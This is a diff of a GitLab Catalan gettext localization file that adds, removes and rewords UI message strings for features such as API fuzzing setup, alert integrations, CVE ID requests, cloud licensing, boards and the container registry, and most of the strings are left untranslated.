msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr "%{count} més"
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] "S'ha fusionat 1 petició de fusió"
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] "1 usuari"
msgstr[1] "%{num} usuaris"
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr "Ja existeix un fitxer amb \"%{file_name}\" a la branca %{branch}"
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr "Compte i límit"
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr "Afegeix"
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr "Afegeix el comentari"
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr "Afegeix un comentari a la imatge"
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr "Afegeix una reacció"
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr "Text addicional"
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr "Àrea d'administració"
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr "Facturació"
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr "Taulers"
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr "Canvia la plantilla"
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr "Crea un fitxer nou"
msgid "Create new file or directory"
